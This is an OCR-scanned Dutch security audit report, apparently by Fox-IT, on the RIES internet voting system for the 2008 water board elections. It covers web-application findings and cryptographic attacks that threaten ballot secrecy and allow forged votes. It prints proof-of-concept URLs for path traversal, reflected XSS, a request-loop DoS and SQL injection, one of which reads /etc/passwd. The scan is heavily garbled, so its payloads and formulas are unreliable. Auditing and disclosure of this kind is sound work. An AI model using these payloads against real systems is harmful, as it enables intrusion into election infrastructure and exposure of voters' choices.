Dit hoofdstuk beschrÍjft de bevindingen die de internet-onderzoekers van Fox-IT in deze periode hebben
gedaan. Elke bevíndng beschrijft een waarneming en een risicoinschatting. Hoewel de meeste
bevindingen zeer technisch van aard zÍjn hebben wij ernaar gestreefd om waar nodig een niet-technische
impact van elke bevinding aan te gevan.

Waar nodig zijn de bevindingen bijgesteld op basis van een reactie van het Waterschapshuis,

4.2 Bevindingen

De geselecteerde partij en kandidaat worden meegestuurd naar de server wanneer tijdens het kiezen het
stemproces wordt afgebroken of de keuze wordt gewijzigd. De informatie wordt meegestuurd in
respectievelijk de parameters radio_group en candidate,

Hoewel het systeem grote moeite doet om de feitelijke stem van de kiezer niet zichtbaar te laten zijn
voor de stemseruer gebeurt dat op eenvoudige wijze toch als de kiezer op een verkeerde button klikt.

Het probleem kan zichtbaar gemaakt worden door het stemproces af te breken op het moment dat een
kandidaat is geselecteerd. Er worden dan diverse parameters, waaronder de op dat moment
geselecteerde paftij en kandidaat, naar de server gestuurd. De applicatie verstuurt de volgende HTTP-
aanvraag als de gebruiker wil annuleren:

POST /server HTTP /LI
Host: stem. surfnet. nI
rlser-Àoent: Mozilla/5.0 (X1f; U; Linux i6B6; en-US; rv:1.8.1.14) Gecko/20080419
Ubuntu/8.04 (hardy) Firefox/2.0.0.I4
Accept: text/xml, application/xml, application/xhtml-+xml-, text/html;q:0.9, text/pIai
n; q:o . B, image /png, * / *; q=0 . 5
Accept-Language : en-us, en; q:0. 5

Accept-Encoding : gzíp,defIate
Accept-Charset : ISO-8859-1, uLf -B; q:0 ,'l , * i q:0 . 7
Keep-Àlive: 300
Connection : keep-a,Iive
Ref erer: https: //stem. surfnet.nl,/server
Content-Type : application/x-www-form-urlencoded
Content-Length: 694

pageid=A025deIid:8001&actionreq:stop&language=NL&sessiondata:aWdub3Jlc3RhdHVzPWZ
hbHN l-JnJI c 3 BpZ D 1 mY2 QxNDRmNTUwNDFh ZTU3N 2RmYmI l YThkNT I 2MTc lYyY% 3 D& t ext_group:Se l- ec
| êêr +rl a+ 1 i i e| +van+uw+voorkeur +of + seIectee r +%2 ?blanco+ stem% 21Z3Cbr%3E+en +k I j-k+op+
%27Verder"<2'1. %3Cbr%3E+&text candidate:Maak+uw+keuze+en+klik+op+%27Verder9:.21 . &Lex
I nrnrrn i nfnm5g:Er+zijn+nog+meer+Iijsten%2CZ3Cbr%2F%38+kIik+op+de+scrollbar+--%3*,y-.

E & t e x t_c a n d i d a t e_ i n f om s 9:E r + z i j n + n o g + m e e r + k a n d i d a t e n % 2Ce" 3 C br % 2F Z 3 E + k I i k + op + d e + s c
roll-bar+--eo3E%3Cbr%3E?3Cbr%38&text backbutton:Wijzigeneradio-group:8001000103%3A
03 %3AWater*..lat2C*natuurli jk&candidate:B 0 010 0 010 3 % 3A0 3 ?;3AWater+Jat2C+natuurli jkt3
A8 0 0 1 0 0 0 1 0 3 0 3 t 3Alelivel-dt2C+K . L . N . + t2 8Mt2 9 t3AVinkeveen
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De Apache Tomcat-webseruice die bereikbaar is via de systemen 19 5 . 1 69 .I24 .82 en

I92.81 .106.l-94 geeft het versienummer van de software weer.

Met kennis van het versienummer van de Apache Tomcat webservice kan door kwaadwillende gebruikers
gericht worden gezocht naar bekende kwetsbaarheden in de betreffende versie van de Apache
webservice.

Wanneer een niet-bestaande pagina wordt opgevraagd in één van de directories /test of /server,
wordt de volgende regel onderaan de foutpagina weergegeven:

Apache Tomcat / 5 ,5 .9

Het is denkbaar dat het gegeven versienummer niet het daadwerkelijke versienummer is, o.m, doordat
het gebruikte besturingssysteem vaak beveiligingsupdates aanbrengt in oude versies zonder
versienummers te updaten. Uit tests op bekende beveiligíngsproblemen is echter gebleken dat
daadwerkeliik versie 5.5.9 (of ouder) van Apache Tomcat in gebruik is.

De gebruikte versie van de Apache Tomcat-websenrice is verouderd en bevat meerdere publiekelijk
bekende kwetsbaarheden.

De gebruikte versie van Apache Tomcat bevat meerdere publiekelijk bekende kwetsbaarheden. Enkele
van deze kwetsbaarheden maken het mogelijk om informatie over de server of de webapplicatie op te
vragen. Andere kwetsbaarheden stellen een kwaadwillende mogelijk Ín staat om Cross-Site Scripting
(XSS) of Denial of Service (DoS) aanvallen uit te voeren,

Of de kwetsbaarheden daadwerkelijk kunnen worden uitgebuit hangt van de configuratie
van de webseruice af. Desondanks is Fox-IT van mening dat het gebruik van een verouderde Apache
Tomcat versie een hoog risico met zich meebrengt.

De volgende versie van de Apache Tomcat webservíce is door Fox-IT gedetecteerd:

Apache TomcaL/5.5.9

Een overzícht van de bekende kwetsbaarheden voor deze versie van Tomcat is te vínden op
http: / /tomcat. apache.orglsecurity-5. html

Het is mogelijk om van enkele mappen op de Apache Tomcat server de inhoud op te vragen.

Het toestaan van deze zogenaamde "directory listings" stelt gebruikers in staat om de aanwezige
bestanden in de betreffende directory te bekijken en te openen zonder dat deze via de "officiële" weg
beschikbaar zijn. Zo kan eventueel technische informatíe over het systeem achterhaald worden.

De volgende URL's tonen aan dat de Apache Tomcat webservice dírectory listings toestaat:

https : //stem. surfnet. nI/server / %5c. . / css/
https: //stem. surfnet. nIlserver /%5c. . / images/
https: //stem. surfnet. nl/server /%5c. . /work/

In de directory work trof Fox-IT de volgende bestanden aan die mogelijk gevoelige informatie bevatten:

sessr-ons. ser
tldCache. ser

\-/
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De inhoud van de tabel in de kwitantie (PDF-bestand) kan door de gebruiker worden bepaald. De inhoud
van de parameter rsinfo in de HTTP-aanvraag bepaalt de inhoud van de tabel in de PDF.

Als een kwaadwillende in staat is om de HTTP-aanvraag voor de kwitantie te manipuleren dan kan deze
de inhoud van de PDF deels beïnvloeden, waardoor het veftrouwen in de verkiezingen mogelijk kan
worden mÍsbruikt voor bijvoorbeeld phishing-aanvallen.

De volgende URLtoont een gemanipuleerde kwitantÍe waarbij de waarde van ontvangstbevestiging
staat ingesteld op http z / /www. f ox-it . com:

https://stem.surfnet.nl/pdf ?tsj-nfo:8001000llHoogheemraadschapeo?Ovan320Ri-jnIandlT
00a76ba928c6036-d7f 1B1f9ccc44dfLl%68214?"14"67033a?o2fïztZ11%1'l%1742e<"66eo6fZ18Z2d%6
9%1 4%2e%63%6 f%6d

Het is mogelijk om de technische stemcodes te achterhalen uit de browsergeschiedenís van kiezers. Bij
het downloaden van de kwitantie wordt de parameter tsinf o als cEt-variabele naar de server
verstuurd.

Een kwaadwillende die Íysiek toegang heeft tot de computer van een kíezer kan mogelijk de technische
stemcodes van deze kiezer achterhalen uit de browsergeschiedenis. In combinatie met eventuele
kwetsbaarheden in de browser kan deze kwetsbaarheid mogelijk ook van afstand worden misbruikt.

Na het succesvol uitvoeren van een stem en het downloaden van een kwitantÍe bleef de volgende URL

achter in de browsergeschiedenis:

httpsz / / stem. surf net. nl- /pd,f?tsinf o=B00L000l lHoogheemraadschap%2Ovan?2ORi jnland l?
0 0a 76ba9 28c6036 -d1 fL81 f 9ccc4 4df 1 | 6D72CFFA

Een ander scenario is dat de kiezer heeft gestemd op de PC van iemand anders, op het werk, bij vrienden
of familie, of in een internetcafé. Een volgende gebruiker zou uÍt de browsergeschiedenis (als deze niet
ewist wordt) de oebruikte technische stemcodes kunnen achterhalen.

De RIES Beheer Portal kan geopend worden vanaf elke plaats op het internet, zonder authenticatie, via
de URL https: //stem. surf net. nllserver /vo5C, . / admin/.

Uít de reactie van het Waterschapshuis blijkt dat het hier gaat om noodschermen voor technisch
beheerders die alleen op de fysieke locaties van de stemservers bereikbaar zouden moeten zijn. Het
betreft dus niet de portalschermen voor de stembureaus bij de waterschappen.

De RIES Beheer Portal stelt kwaadwillenden in staat om onder andere verkiezingen te starten en te
n. statusoverzichten op te vraqen en resultaten te beki'iken.
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Voorbeeld van een beheerscherm dat zonder in te loggen

fest varllozlng iit Àll!!-

De aangetroffen beheerschermen bevatten kwetsbaarheden die een Cross-Site Scripting (XSS)-aanval
mogelijk maken. Gebruikersinvoer wordt zonder valÍdatie op de betreffende pagina's overgenomen.

XSS kan gebruikt worden om de bij een gebruiker getoonde website te veranderen of Javascript-code uit
te voeren op de computer van een gebruiker, waarbij het lijkt alsof deze code afkomstig is van RIES. Het
is bijvoorbeeld mogelijk om pagina's aan te passen zodat gegevens die worden ingevoerd in
wachtwoordvelden niet alleen naar RIES gestuurd worden, maar ook naar een aanvaller. Geavanceerdere
toepassingen van XSS kunnen het voor aanvallers mogelijk maken om de computer van de gebruiker als
een zogeheten 'stepping stone'te gebruiken om verdere aanvallen uit te voeren op het interne netwerk
van de gebruiker.

De volgende URL toont aan dat de RIES Beheer Poftal kwetsbaar is voor XSS:

https://stem.surfnet.nl/server/%5C../ admin/server?req=as5ults&subreq:store&pager
d:selectaelid:8001<script>alert (' XSS' ) </script>

Het Ís mogelijk om met eén HTïP-aanvraag een oneindige reeks van HTTP-aanvragen te veroorzaken. Dit
gedrag treedt op wanneer een HTTP-aanvraag naar de Apache Tomcat service wordt verstuurd waarin
een directory wordt opgevraagd die begint met een ';'-teken.

Deze zogenaamde "loop" van HTTP-aanvragen en antwoorden kan een onnodig hoge belasting van de
webservices veroorzaken. Mogelijk kan deze kwetsbaarheid door een aanvaller worden misbruikt om een
Denial of Seruice (DoS) van de RIES stemserver te versterken.

De volgende URL veroorzaakt een loop van HTTP-aanvragen naar de RIES stemserver:

https : //stem. surfnet. nl/server / %5C. . / ; images/

De Denial-of-Senrice-aanvalsmogelijkheid om de seruers te overbelasten door veel mensen een aanvraag
naar de server te laten verzenden door hen bijvoorbeeld een link in een e-mail te sturen kan hiermee

en versterkt doordat browsers niet één, maar een oneindige reeks verzoeken aan de server richten.
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De RIES Beheer Poftal geeft een fysiek pad op de seryer vrij. Het fysieke pad wordt weergegeven in een
foutmelding.

Weergeven van teveel informatie in foutmeldingen helpt aanvallers om de applicatie of de achterliggende
structuur in kaart te brengen. De informatie kan mogelijk worden gebruikt in verdere aanvallen,

De volgende URL geeft een fysiek pad op de server vrij:

https://sLem.surfnet.nllserver/%5C../admin/server?req:lssults&subreq:storeepagei
d:selectaelid=8001*

Het fysieke pad dat wordt vrijgegeven is:

/ data / r ies /work / r epor Ls /

De RIES Beheer Portal is kwetsbaarvoor SQL injection, Gebruikersinvoer wordt zonder validatie of met
onvoldoende validatie overgenomen in database queries.

Een kwaadwillende gebruiker kan met behulp van SQL injection de achterliggende database rechtstreeks
aanspreken om zo gegevens in de database op te vragen, waardoor onder andere de vertrouwelijkheid
van de informatie in de database in gevaar komt. Daarnaast kan deze kwetsbaarheid worden misbruikt
om verdere informatie over de gebruikte database software en het besturingssysteem te verkrijgen,
waarmee mogelijk verdere toegang tot de database of de server kan worden verkregen. Niet uitgesloten
is dat deze kwetsbaarheid het ook mogelijk maakt om gegevens in de database te wÍjzigen of te
verwijderen.

De volgende URL's tonen aan dat de RIES Beheer Portal kwetsbaar is voor SQL injectÍon:

De databasegebruiker is ries:

https://sLem.surfnet.nf/server/%5C../admin/server?req:rs=ults&subreq:store&pagei
d:select&eIid:8001'%20andeo20(selecL%2}count (")Z20from%2Omysql.user)%3E0?"20/*

De naam van de database is ries:

Lrf tnq. / /ctam surfnet..nl-/server/%5C,. / admin/server?req:rs=ul-ts&subreq=storeepageir . / / J uvrrr !

d:select&eIid:8001' %20and%20database ( ) :' ries' /*

Een tabel met de naam status:

https: / /sLem.surfnet.nf /serverf eosc,, / admÍn/server?req:resul-ts&subreq=store&pagei
d:selectcel-id:8001'?20and%20(SELECTeo20count(*|%20fromS20status)%3E0/*

Een tabel met de naam votesr

https://stem.surfnet.nl-/server/eo5c../admin/server?req=resuLts&subreq:store&pagei
d:se-l-ect&elid:8001'%20and%20(SELECTt20counL(*)Z20from?2Ovotes):2626/*

De eerste vier karakters uit het bestand /et c/passwd op de server:

Lrtfn-. / / qfom surfnet.nl-/server /25C. . /admin/server?req:rssufts&subreq:store&pagei
cl:select&elid:8 0 0 1' %2 0and% 2 0 substr ( load-f i le (' / eLclpasswd' ), I, 4) :' root' / *

\
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De gebruikte versie van de database MySQL is verouderd en bevat meerdere publiekelijk bekende
kwetsbaarheden.

De gebruikte versie van MySQL bevat diverse publiekelijk bekende kwetsbaarheden waarmee een

kwaàOwillende een Denial of Service (DoS) kan veroorzaken of de inhoud van de database kan wijzigen.
Of de kwetsbaarheden daadwerkelijk kunnen worden uitgebuit hangt van de configuratie van MySQL af.

Met behulp van de volgende twee URL's kan worden geconcludeerd dat het versienummer van de MySQL

software 4.1.20 is:

https://stem.surfnet.nl-/server/%5C../admin/server?req:ag.ul-ts&subreq=store&pagei
d=select ae I id:8 O 0 l-' ? 2 Oand% 2 0 ( SELECT%ZO / * ! 40 L20220]_0 " / 220 | :1'0 / *

https://stem.surfnet.nllserver/%5C../admin/server?req:rs5ults&subreq:store&pager
d:select&eI id=B OOt' +20and? 2 0 ( SELECTZ?} / * | 40L2L220I0 * / 220 | :10 / *

De webseruices op de systemen 195.169 .124.82 en 1,92.87.10 6.I94 bieden ondersteuning voor de

cryptografisch onveilige versie 2.0 van het SSL-protocol aan browsers die erom vragen

Het toestaan van verouderde SSL protocollen maakt het mogelijk voor een kwaadwiltende gebruiker om

de communicatie tussen webserver en gebruiker zodanig te manipuleren dat de encryptie gekraakt kan

worden. Vervolgens is het mogelijk om met behulp van een zogenaamde man-in-the-míddle attack
informatie af te luisteren en/of te manipuleren.

Als een browser wordt ingesteld om alleen SSL-versie 2.0 te ondersteunen dan kan er toch verbinding
aakt worden met de server.
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5 Cryptografisch fundament

5.7 Inleiding
Dit hoofdstuk beschrijft de bevindingen na een uitgebreide cryptografische analyse van het RIES-systeem
uitgaande van de geleverde documentatie (38)(39X40X41). Dit hoofdstuk beschrijft niet de algemene
werking van het RIES-systeem maar tracht alleen de noodzakelijke informatie te geven gerelateerd aan
de beschreven bevindingen.

De volgende twee paragrafen beschrijven uitgebreid de twee ernstige aanvallen op RIES-2008 die Fox-IT
heeft geïdentificeerd. Het hoofdstuk besluit met een opsomming van de bevindingen ten aanzien van de
onderliggende cryptografie van RIES, voorzover niet al genoemd in eerdere hoofdstukken c.q. eerdere
onderzoeksrappoften.

5.2 RIES-?OO8 in 2O3O
Deze paragraaf beschrijft een dreiging die op kan treden (uiterlijk) in 2030 als RIES in 2008 gebruikt ís

geweest. Dit noemen we ook wel een passieve aanval. De dreiging richt zich voornamelijk op het gebruik
van het DES-algoritme (42) en het sleutelbeheer,

Sleutelgeneratie
De laatste versie van RIES (RIES-2008) is een opvolging van KOA-2006, RIES-2004 en het systeem van
Robers (5). RIES "versie 2008'kenmerkt zich vooral door het toevoegen van een cryptografische
hardwaremodule, de IBM 4764 (43). Hiermee is het nu mogelijk om het sleutelbeheer veilíg uit te voeren
zonder dat iemand de geheÍme sleutels hoeft te zien.

Bij het starten van de voorbereidingen voor een verkiezÍng moet als eerste een hoeveelheid publieke data
gegenereerd worden (38). Er moet bijvoorbeeld een lijst van alle kiezers gemaakt worden. Hierbij krÍjgt
elke kiezer zijn eigen publieke identiteit VnID, die is gekoppeld aan het Burgerservicenummer (BSN)
(41).Ook wordt erelke stemronde een deelnemersgroep gedefinieerd genaamd ParGp, die gelijk blijft
voor de gehele verkiezing. Als laatste moet er een verkiezingscode EIID gegenereerd worden die aangeeft
in welke verkiezingsronde elke kiezer mag stemmen.

Met deze gegevens (VnID, ParGp, EIID) wordt er voor elke kiezer (circa 13 miljoen mensen) een geheime
sleutel Kp gegenereerd. De persoonlijke sleutel is dus verbonden aan de publieke identiteit via de VnID
en het BSN (41).

De persoonlijke stemsleutel van de kiezer Kp is eigenlijk een DES-sleutel van 56 bits (39). Deze sleutel
wordt gebruikt om alle mogelijke keuzes van elke kiezer te versleutelen en te publiceren voordat de
verkiezingen beginnen. Deze gepubliceerde lÍjst wordt als referentielijst gebruikt om zo na de
verkiezingen te kunnen bepalen op wie er allemaal gestemd is. De charme van het systeem ís dat het
verifiëren door iedereen gedaan kan worden.

Voordat we verder gaan met het algoritme en het gebruik van de DES-sleutel Kp leggen we uit hoe Kp
gegenereerd wordt. Hiervoor wordt een extensíe op het DES-algoritme gebruikt, namelijk door drie maal
een bericht te versleutelen, een zogenaamde Triple DES (3DES) (44)(45). Met 3DES zijn er twee modi,
de "dríe verschillende sleutels"-modus (3TDES) en de tweesleutelmodus (ZTDES). Met 3TDES worden
drie sleutels van Ín totaal 168 bÍts lengte (3 x 56 bits) gebruÍkt, 2TDES gebruikt twee sleutels van in
totaal 112 bits (2 x 56 bits). Als een bericht Mversleuteld wordt dan wordt het eerst vercijferd (E) met
sleutel KÍ, daarna ontcijferd (D) met sleutel K2 en vervolgens nog eens versleuteld (E) met sleutel K3:

E K3(D K.'@ r'(M )))

Bij 3TDES zijn de sleutels Ki + K2 + K3, terwijl bij 2TDES K7=K3, KJ + K2 en K3 + K2.

Formule [2] geeft weer hoe Kp gegenereerd wordt:

Kp - zTD ES K,envote rte\,(Vnl D / / P arGp / I EII D)

t1l

l2l
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Kp is een 56 bits (B bytes) DES-sleutel díe wordt gegenereerd door een 2TDES-sleutel genaamd
Kgenvoterkey. Deze Kgenvoterkey heeft een sleutellengte van 112 bits (16 bytes). Alle Kp's worden
tijdens een verkiezing gegenereerd door dezelfde Kgenvoterkey. Daardoor zijn alle Kp's afhankelijk van
elkaar. Omdat VnID, Parcp en EIID publiek bekende waarden zijn kunnen alle persoonlijke stemsleutels
Kp herfeid worden als Kgenvoterkey ooit bekend wordt, Met dit gegeven zijn ereen aantal vragen:

o Hoe waarschijnlijk is het dat Kgenvoterkef gevonden wordt en hoe lang kan dat duren?
. Wat voor een impact heeft het als Kgenvoterkey gevonden wordt? Wat kan een aanvaller dan

doen?

Hoe lang is Kgenvoterkey nog veilig?
Een belangrijk veiligheidsaspect is de lengte van de sleutel en het gebruikte algoritme. Er zijn een aantal
gerenommeerde instituten die hierover uitspraken doen gebaseerd op uitgebreid onderzoek.

Het Nationaal Instituut voor Standaarden en Technologie (NIST) is een agentschap van de Amerikaanse
overheid. NIST is de instantie die onder andere de gebruikte encryptiestandaarden DES en Triple-DES
uitgeeft, maar ook de nieuwere vervanger van DES, AES (Ádvanced Encryption Standard). In hun laatste
rapport (46) uÍt 2OO7 geven zij aanbevelingen aan federale agentschappen over het gebruik van
sleutellengtes in combinatie met cryptografische algoritmen. Uit hun aanbeveling komt de volgende
tabel:

Tabel 1. Aanbevelinq sleutellenqtes en enc rea oritmen

2008 t/m 2010 80 zTDES
2011 t/m 2030 TL2 3TDES
> 2030 128 AES-128
>> 2030 t92 AES-192
>>> 2030 256 AES-256

NIST 2OO7

De tabel geeft weer dat tot en met 2010 algoritmes met een sleutel lengte van B0 bits nog acceptabel
zijn. Tussen 2010 en 2030 zijn algoritmen met sleutel lengtes van 112 bits nog te gebruiken, et cetera.
Hierbij valt op dat NIST aanraadt dat 2TDES gebruikt kan worden tot en met 2010. Een kanttekening bij
dit gegeven is dat 2TDES een sleutellengte heeft van 112 bits, maar als een aanvaller de beschikking
heeft over 240 combinaties van bij elkaar horende tekst en versleutelde tekst dan is het algoritme zo
verzwakt dat het nog slechts wordt geacht een sleutellengte te hebben van 80 bits. Als dit niet het geval
is dan is 2TDËS nog veilig tot en met 2030.

Een ander onderzoeksinstituut, het Europese Netwerk van Excellentíe in Cryptografie (ECRYPT) heeft Ín

2OO7 een rapport (47) uitgebracht over algoritmen en sleutellengtes. Het rapport gaat uit van het
veiligheidsniveau dat men wil bereiken. Bij elk van deze niveaus hoort een bepaalde sleutellengte. De

veiligheidsniveaus van symmetrische encryptiealgoritmen staan in de tabel hieronder aangegeven en

komen uit het laatste rapport van ECRYPT.

Tabel 2. Lls van s mmetrische al ritmen ECRYPT 7007

Alleen acceptabel voor authenticatietokensAanvallen ín'real-time' door
individuen

Zou niet gebruikt moeten worden voor in
nieuwe svstemen

Korteterm ij nbescherming tegen
kleine orqanÍsatÍes
KoftetermÍj n besch ermin g tegen
middelgrote organisaties, míddel-
langeterm ijnbescherm in g tegen
kleine orqanÍsati

Kleínste gebruík voor algemene doeleinden
,S4jaarbescherming

Kortetermij n besch erm in g tegen
overheden, langetermíjn -

bescherming tegen kleine
orqanisaties
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5 96 Standaard bescherming Gebruik van 2TDES beperkt tot '.,1Oo
bekende combinaties van tekst en
versleutelde tekst = 1O jaar
bescherming

6 LL2 M idd el la nceterm íj nbescherm i n q p 2O iaar bescherming
7. 128 La n g etermij n bescherm i n g Generieke applicatíeonafha nkelij ke

aanbevelinq = 30 jaar bescherminq
B. 256 'Nabije toekomst' Goede bescherming tegen

Ouantu mcomputers

In tabel 2. is te zÍen dat als er ongeveer 106 combinaties van tekst en bijbehorende versleutelde tekst
bekend zijn bij een 2TDES-sleutel de bescherming nog maar ongeveer 10 jaar standhoudt. Is dit niet het
geval dan zou 2TDES ongeveer 20 jaar standhouden

We concluderen uit de rapporten van deze twee onafhankelijke instituten dat de exclusiviteít van
Kgenvoterkey niet meer gegarandeerd kan worden rond 2030 als informatie versleuteld is met zTDES.
Anders geformuleerd, als er in 2008 verkiezingen zijn geweest waarbij een geheime 2TDES-sleutel is
gebruikt van 112 bits, kan deze dan rond 2028 gemakkelijk worden achterhaald door paftÍculieren.

Enkele opmerkingen over het genereren van sleutels: sleutels moeten volgens (47) zo willekeurig
(random) mogelijk worden gegenereerd en sleutels zouden volgens (47) nooit gebruikt mogen worden
voor twee verschillende doeleinden. Ook wordt gesteld dat toepassingen zoals verkiezingen langetermijn-
bescherming vereisen.

Wat gebeurt er als Kgenvoterkey wordt gevonden?
Theoretisch is een aanvaller dus in staat om achter Kgenvoterkey te komen rond 2030. Mocht dit de
aanvaller lukken, wat kan hij dan allemaal achterhalen?

De kracht van RIES is dat iedereen achteraf kan bepalen of de verkiezing goed is verlopen. Maar dit leidt
ook tot bedreigingen. Een fundamentele eis aan democratische verkiezingen is dat niet bekend mag
worden of en zo ja op wie iemand gestemd heeft.

We schetsen het scenario voor een aanval op de "hoofdsleutel" Kgenvoterkey. Als eerste moet de
aanvaller in het bezít zijn van een geldige persoonlijke sleutel Kp zodat van daaruit de Kgenvoterkey
achterhaald kan worden door alle mogelijke sleutels één voor een te proberen (in 2030 naar verwachting
mogelijk). Deze Kp kan van hemzelf zijn of van iemand die graag mee wil werken aan zijn aanval, er zijn
tenslotte 13 miljoen geldige Kp's ín omloop. De aanvaller heeft maar 1 geldige Kp nodig.

Zoals we in formule [2] konden zien zijn de Kp's opgebouwd door middel van een vaste structuur op
basís van VnID, ParGp en EIID. Omdat ParGp en EIID vaste waarden zijn voor de verkiezing, hoeft de
aanvaller alleen maar alle VnID's te genereren, VnID is een unieke identiteit van een stemgerechtigde en
is gekoppeld aan zijn unieke Burgerservicenummer (BSN) of, indien geen BSN beschikbaar is, het
identificerende A-nummer uit de bevolkingsadministratie (41). Het BSN bestaat uit 9 cijfers en moet
voldoen aan een zogenaamde elfproef. De aanvaller is dus in staat om alle mogelijke BSN's te genereren
en deze in te vullen in formule [2].

Tijdens de voorbereidingen van de waterschapsverkiezingen in 2008 worden alle mogelijke stemmen van
elke kiezer versleuteld en gepubliceerd zodat deze lijst als referentie gebruikt kan worden bij het tellen
van alle geldige stemmen na afloop van de stemperiode. Deze líjst, RnPotVote, wordt per kiezer op de
volgende manier berekend (38):

RnPID ,, = MDC [DESmac Kr^(f (EllD))]

RnCl,, = MDCfDESmac *n,,(f (Cl,EllD,AbelPI ,,))l _ <unOidaat 1 [4]

RnC2,,= MDC[DESmac *0,,(f (C2,EllD,AbelPI,,))] _ Kandidaat 2

RnCm,, = MDC[DESmqc' *r,,(f (Cm, EIID, AbelPl,,))] _ Kandidaat m
RnPID,,,, = MDCIDESnuc' *,,,,-,(-f (EllD))l

t3l
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RnCm n*, = MDC [DESnnc r,,,,(-f (Cnt, EllD , AbetPl,., ))] - Kandidaat m
Etcetera...

De lijst bevat de waarden RnPID, die bedoeld zijn om te bepalen of een kiezer mag meestemmen in de
verkiezing. RnCM maakt het mogelijk om te bepalen op wie iemand heeft gestemd en bestaat uit alle
kandidaten, C7 tot en met Cm. Achter elke RnCm wordt vermeld bij welke kandÍdaat deze code hoott.
AbelPI zijn de laatste twee cijfers van het geboortejaar van de kiezer. Deze waarde wordt gebruikt ter
controle, maar heeft verder geen invloed op deze bedreiging.

Zonder geldíge Kp valt uit de lijst niet te halen wie er allemaal mogen stemmen. Met deze lijst en alle
mogelijke Kp's die hij heeft gegenereerd aan de hand van alle mogelijke BSN's, is de aanvaller in staat
om te verifiëren of een bepaald BSN mee mocht doen aan de verkiezingen. Hij Ís hiertoe in staat door zelf
formule [3] te berekenen voor een willekeurige BSN en te vergelijken met de gepubliceerde lijst
RnPotVote. De aanvaller kan formule [3] berekenen omdat MDC een door IBM ontworpen DES-hash in

MDC2-formaat is en publiekelijk bekend is (48). De functie f(.) is een paddingfunctie die de ruimte opvult
met nullen. Ook EIID en DESmac zijn publiekelijk bekend.

Tussenconclusie: de aanvaller kan bepalen welke personen (gegeven hun BSN) stemgerechtigd waren
bij de waterschapsverkiezingen van 2008.

Tijdens de verkiezingen in 2008 wordt de stem van een kiezer (VnPID en VnCx) uitgerekend op de
computer vanwaar de stem wordt uitgebracht. Deze zogenaamde technische stemmen worden vermeld in
tabel 3., waarbij VnPID de pseudo-identiteít van een kiezer is en VnCx de stem van de kiezer.

Tabel 3. VnPID en VnCx
VnPID VnCx
VnP I D = D ESmac r,,( f ( EII D)) VnC.r = D ES mac r,,( f (C2, E I I D, A b e I P I)) tsl

Deze waarden worden (versleuteld met behulp van het SSL-protocol) naar een verkiezingsserver
gestuurd die ze vervolgens versleutelt met MDC-2 (48). Als de verkiezing is afgesloten en alle stemmen
zijn ontvangen, wordt de lijst RecVote met alle ontvangen stemmen gepubliceerd (zíe tabel 4).

De lijsten RecVote en RnPotVote worden nu met elkaar vergeleken om zo te bepalen wie de meeste
stemmen heeft ontvangen. Hierbij wordt eerst gekeken of er een VnPID voorkomt in RnPotVofe, met
andere woorden: of er een RnPfD aanwezig is, Als dat zo is, wordt er gekeken of VnCx ook voorkomt in
de lijst van RnPotVote, met andere woorden: of er een RnCn is die gelijk is aan VnCx. We gaan hier niet
verder in op de vraag hoe meerdere stemmen of valse stemmen uit het systeem worden gehaald; dat
valt buiten de scope van deze bedreiging.

Tabel 4. RecVote
VnPID VnCx
VnP I D = M DQD ESmac *r, ( f ( Ell D)))

VnP I D = M D Q D ES nnc r,,,(.í' ( E I I D)))

V n P I D = M D CID ESrnac r,. g ( El I D))l

VnCx = M DQDES mac r, (f (C2, El I D, Abe I P I,))l
V n Cx = M D Q D ES mac *r, ( f (C8, E I I D, A b e I P lr))l

VnCx = M DQD ESmac rr,(.f (C7, E ll D, Abe I P l,))l

t6l

Hierdoor ontstaat de situatie dat een aanvaller voor elk BSN kan bepalen of de persoon met dat BSN
heeft gestemd en zo ja, op wíe hij of zij heeft gestemd. Het BSN is een uniek nummer, maar geen
geheim nummer. Het BSN staat op vele documenten vermeld zoals het paspoort, het rijbewijs en het
loonstrookje. Een aanvaller hoeft slechts het BSN te weten van een individu om te kunnen bepalen op wie
deze persoon heeft gestemd.
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5.2,1 Conclusie
Op lange termijn (circa Z0 jaar) ís het stemgeheim van de waterschapsverkeizingen 2008 niet houdbaar
als er gebruik wordt gemaakt van ZTDES binnen RIES-2008. Ten eerste zijn alle geheime sleutels Kp
afhankelijk van een sleutel Kgenvoterkey die even veilig is als 2TDES. Ten tweede is elke geheime sleutel
Kp gekoppeld aan het unÍeke burgerservícenummer. Doordat bij gebruik van RIES-2008 voor
internetstemmen alle stemmen na de verkiezingen worden gepubliceerd ontstaat er een reële
mogelijkheid dat iemand jaren na de verkíezingen kan achterhalen op wie iemand heeft gestemd. Alle
informatie is immers publiekelijk beschikbaar en die zal ln 2030 ook nog steeds beschikbaar zijn.

De verwachting van het NIST (46) en ECRYPT (a7) is dat dit ín 2030 mogelijk is door individuen. In de

tussentijd (voor 2030) zijn er grote organisaties die over veel computerkracht beschikken die het wellicht
eerder kunnen uitvoeren (denk aan Google). Ook zijn er cybercriminelen die over de rekenkracht van
miljoenen PC's kunnen beschikken (1)(2).

Samengevat leidt het bovenstaande tot de volgende bevinding:

5.3 Stemmen genereren tijdens de verkiezingen
Deze paragraaf beschrijft hoe het, door een zwakheid in RIES, mogelÍjk is om op een standaard
thuiscomputer elke dag 1 geldige stem te berekenen en uit te brengen op een kandidaat naar keuze.

Er is gebleken dat índividuele personen of websites in staat zijn grote massa's mensen aan te sporen
samen te werken voor een groter doel. Dit kan vrijwillig gaan, zoals via een weblog, of onvrijwillig
wanneer duizenden computers zijn geïnfecteerd door virussen die zonder dat de gebruikers dit weten hun
computers misbruiken (1)(2). Dergelijke al dan niet vrijwillige samenwerkingsverbanden zouden hiermee
de verkÍezingen volledig kunnen ontwrÍchten.

Transparant
RIES is een transparant verkiezingssysteem waarbij alle informatie publiekelijk geverifieerd kan worden.
Om het stemgeheim te waarborgen wordt voor elke kiezer een pseudo-identiteit gegenereerd. Ook
worden voor elke kiezer alle stemmen gegenereerd die mogelijk zijn. Deze complete lijst van pseudo-
identiteÍten en mogelíjke stemmen wordt voor de verkiezingen gepubliceerd waarbij het niet meer
mogelijk is de identiteit van de kiezer te koppelen aan een pseudo-identiteit. Deze lijst wordt gebruikt om
na de verkiezingen te kunnen controleren op wie er is gestemd en of dit wel door geldige kiezers is
gedaan. Dit maakt het systeem transparant omdat na de verkiezingen iedereen in staat is om zijn stem
te controleren maar ook het hele systeem na te tellen.

De lijst van pseudo-identiteiten bevat echter een aantal zwakheden waardoor een aanvaller in staat is
met grote zekerheid een geldÍge stem te genereren. De kern van het probleem ligt in de grootte van de
geheime unieke sleutel Kpvan elke kiezer,Kp is namelijk een DES-sleutel met een lengte van slechts 56
bits.

E;EIII.TTIIJJI!
